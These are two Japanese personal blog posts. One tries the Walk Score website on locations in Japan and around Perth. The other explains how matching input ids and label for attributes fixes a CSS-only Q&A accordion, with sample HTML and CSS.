今日の講義はフィールドワークと称し、Perth市近郊に位置するSubiaco市の都市開発を見学するという内容でした。 その中で先生が教えてくださったサイトが興味深かったのでここにシェア。

Walk Score

1マイル(1.6km)内に存在する施設を「歩いてアクセスできる」と定義し、その施設数を点数化(Walk Score)するサービス。 もともとは物件選びのときに役立つツールとして使われている模様。アメリカ、カナダ、オーストラリアではさらに交通の便の良さも計測してくれて、その場所が本当に住みやすい場所かを数値として示してくれるようです。

使い方

使い方は簡単。トップページに表示されているテキストボックスに、自分が調べたい場所の住所を入力するだけ。 日本語での検索も出来ます。

f:id:OJ920:20190429230543p:plain

ものは試しにやってみましょうか。

計測してみる

神奈川県横浜市都筑区中川

まずは自分の大学のキャンパスがある、神奈川県横浜市都筑区中川。閑静な住宅街の中に小規模な大学のキャンパスが存在するこの地域は、自然豊かで住心地も良さそうです。ブルーライン中川駅も近くにあり、徒歩でセンター北駅にも行ける距離のため、スコアも高くなるのでは?

f:id:OJ920:20190429230705p:plain

デン! 71点。Very Walkableという判定が出ました。まあまあ納得できるスコア。

ちなみにその隣のセンター北というと……

f:id:OJ920:20190429230845p:plain

99点!そりゃあれだけ店があるので納得です。ドン・キホーテは無くなってしまいましたが……(結構ショック)

西オーストラリア州マードック

お次は今自分が留学している、マードック大学のあるマードック市。これは先にスコアから見てもらいましょうか。

f:id:OJ920:20190429231431p:plain

ドン! 20点。低いっすね。 ここには何もありません。歩いて20分のところにショッピングセンターはありますが、コンビニはもちろん、飲食店もありません。みんな車を使って生活しています。留学のルールで車運転禁止が決められているのがなかなか大変な所。

ここはオーストラリアなので、「Transit Score」も表示されています。これはバスや電車などの公共交通機関をスコア化したものです。確かに今自分たちの足となるのは全部バスです。バスがあればとりあえずどこにでも(ではないけど)行くことが出来ます。

ちなみに西オーストラリア州最大の都市とも言われるPerth市はというと、これでも89点。

f:id:OJ920:20190429231844p:plain

まあ確かにちょっと歩けばすぐ繁華街の端についてしまい、ちゃっちいなと感じることはたまにあります。

おわりに

てな感じに色々と計測していくと面白いと思います。 自分の出身地は45点。 東京駅はまさかの100点パーフェクト。 名古屋駅は96点。センター北に劣るとは…… 「翔んで埼玉」で平成最後に脚光を浴びた、さいたま市は91点。なかなかの高スコアです。

あなたの住んでいる地域は何点でしょうか?

クリックすると開閉するQ&Aリストが、クリックしても別の部分が開閉する問題の解決策

経緯

以前自分が所属しているサークルの、新入生歓迎用ランディングページを制作した際、Q&Aリストを実装しました。 参考にしたコードはこちらです。

copypet.jp

その際、クリックしても別のQ&A部分が開いてしまうという問題が発生しました。 結果からすれば単純にコピペしていた自分が悪かったのですが、このコードがどのように動作しているのかが気になったので、色々と構造を調べてみました。

以下に掲載しているコードはこぴぺっと(copypet.jp)様のサイトより引用です。

解決方法

問題文を括っているinputタグのidと、問題文そのものであるlabelタグのforを同一にすると、うまく動くようになります。 例えば上のサイトに載っているサンプルコードにQ&Aを追加したいときは、

<div class="cp_actab">
    <input id="cp_tabfour034" type="checkbox" name="tabs">
    <label for="cp_tabfour034">質問テキスト</label>
    <div class="cp_actab-content">
    <p>答えテキスト</p>
    </div>
</div>

このようにinputタグのid属性・labelタグのfor属性に同一のcp_tabfour034という文字列を指定することで、正常に動くようになります。

構造

ついでにどう動いているのか興味があったので、ちょっと自分なりに調べてみました。

CSS

答えとなる部分のクラスのCSSです。

.cp_qa .cp_actab .cp_actab-content {
    position: relative;
    overflow: hidden;
    max-height: 0;
    padding: 0 0 0 2.5em;
    -webkit-transition: max-height 0.2s;
         transition: max-height 0.2s;
    border-radius: 0 0 0.5em 0.5em;
}

答えとなるクラス.cp_qamax_heightが0となっており、初期状態では答えは表示されないのですが、

.cp_qa .cp_actab input:checked ~ .cp_actab-content {
    max-height: 40em;
    border: 10px solid rgba(27,37,56,0.1);
}

:checkedという擬似クラスセレクターを付加しmax-heightの値を40emに指定することで、「チェックを入れた時だけ高さを40emにする」という処理を行っているようです。

<div class="cp_actab">
  <input id="cp_tabfour031" type="checkbox" name="tabs">
  <label for="cp_tabfour031">質問テキスト</label>
  <div class="cp_actab-content">
  <p>答えテキスト</p>
  </div>
</div>

すなわち、この質問が書かれている部分は全体が「チェックボックス」という扱いになっています。(CSSで元のチェックボックス部分は隠すようになっています)

質問テキスト部分が書かれているところはlabelタグのfor属性の値をinputタグのidと一致させることで、inputタグと連携させています。(これはHTML5から追加された仕様のようです)

inputのidとlabelのforを同じid名に一致させないと、他の部分が開閉してしまう・動かないといった症状になるみたいです。質問と回答を追加したい場合も、同じくidforcp_tabfour0xx(xxは任意の数字)を指定してやると、うまく動きます。

まとめ

チェックボックスが押されたら」という疑似クラスセレクターが用意されていることを知りませんでした。 初めに自力で実装を考えたときは、display: none; で回答部分を見えなくし、JSのDOMでクリックしたら書き換える処理を考えていたのですが、確かにこちらのほうがCSSだけで済みますし、アニメーションもつけやすいですね。 ただし、このコードだと文字の表示にアニメーションが適用されていないので、高速でクリックをすると一瞬文字だけが先行して表示されているように見えてしまいます。これを解決するのを今後の課題とします。

参考にしたサイト